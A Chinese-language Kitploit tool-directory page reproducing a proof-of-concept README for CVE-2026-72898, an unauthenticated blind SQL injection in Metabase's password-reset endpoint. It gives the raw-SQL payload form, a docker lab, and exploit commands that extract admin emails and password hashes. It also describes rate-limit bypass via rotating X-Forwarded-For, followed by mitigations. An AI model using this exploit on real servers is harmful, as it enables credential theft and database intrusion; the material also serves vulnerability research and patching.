Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-72898 — 未认证的 Metabase 盲 SQL 注入漏洞利用工具,利用密码重置端点中的原始 SQL 注入,通过基于时间的技巧提取数据。 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-72898
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubeqstlab/cve-2026-72898

CVE-2026-72898

未认证的 Metabase 盲 SQL 注入漏洞利用工具,利用密码重置端点中的原始 SQL 注入,通过基于时间的技巧提取数据。

查看仓库
16小时36分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-72898 Metabase 密码重置未认证 SQL 注入

★ CVE-2026-72898 Metabase /api/session/reset_password 未认证盲 SQL 注入 PoC ★

https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59


概述

CVE-2026-72898 是 Metabase 中的一个未认证 SQL 注入漏洞(CVSS 10.0),可通过公开的 POST /api/session/reset_password 端点访问。 该端点将请求体与(失败的)认证结果合并 — (merge request (authenticate ...)) — 因此攻击者提供的 user-id 字段会原样保留,并进入应用数据库的用户查询 t2/select-one :model/User :id user-id,没有任何整数校验。 Metabase 使用 HoneySQL 构建 SQL,其 {:raw "..."} 映射会被编译为原始 SQL 片段(无参数绑定)。因此,将 user-id 发送为 即可向应用数据库注入任意 SQL。 该端点始终返回 ,因此注入是;数据通过 进行恢复(生产标准的 Postgres 应用数据库)。成功利用可获取 Metabase 管理员数据、每个已连接数据源的存储连接凭据,并可完全渗透到这些数据库。

{"raw":"<SQL>"}
400
盲注
pg_sleep
基于时间的

受影响版本

类别版本
受影响Metabase(OSS 0.x / EE 1.x)v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4
已修复v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 或更高版本

影响

  • 在 Metabase 应用数据库中未认证执行任意 SQL
  • 管理员接管以及窃取每个已连接数据源的存储连接凭据
  • 渗透到已连接的数据仓库 / 生产数据库(数据泄露)
  • 修复方案添加了 pos-int? 检查,因此非整数的 user-id 会在查询前被拒绝

环境

构建并运行存在漏洞的 Metabase。它使用 Postgres 应用数据库(必需 — 基于时间的 技术需要 pg_sleep,而 H2 不具备此功能),并自动完成首次设置,因此它会 启动到登录页面。启动大约需要 40–60 秒。

root@kitploit:~
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
前置条件本实验环境中的状态
Metabase v58 – v63.4v0.62.1
Postgres 应用数据库(启用 pg_sleep)已包含在镜像中
/api/session/reset_password 可未认证访问已暴露
每 IP 重置限流(通过轮换 X-Forwarded-For 绕过)MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For

PoC

利用脚本 metabase_exploit.py 可在无需任何凭据的情况下读取您指定的任何值,使用 基于时间的盲注原语。它每次请求都会发送一个新的随机 X-Forwarded-For 以绕过 每 IP 速率限制(与真实攻击中的做法一致)。使用 --extract "<SQL>" 选择目标。

root@kitploit:~
# 默认:提取管理员邮箱
python3 metabase_exploit.py 172.17.0.2:3000

# 提取您想要的任何内容(任意 SQL 标量表达式)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
root@kitploit:~
[*] target  http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
    [  1] a
    [  2] ad
    ...
    [ 15] [email protected]

[+] EXTRACTED: [email protected]

选项:

  • --check — 仅确认注入是否可利用(显示 pg_sleep 时间差异)
  • --extract "<SQL>" — 任意标量 SQL 表达式(自动转换为文本)
  • --sleep 0.4 — 每个 TRUE 位的延迟(在慢速/远程目标上可调高)

缓解措施

  • 将 Metabase 升级到 v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 或更高版本
  • 如果无法立即升级,请在代理/WAF 处阻止 POST /api/session/reset_password
  • 修补后:使所有会话失效(core_session),审查管理员账户和 API 密钥,并轮换每个已连接数据源的连接凭据(如果该端点可通过互联网访问,请假设它们已暴露)

分析

  • KR:
  • EN:
下载工具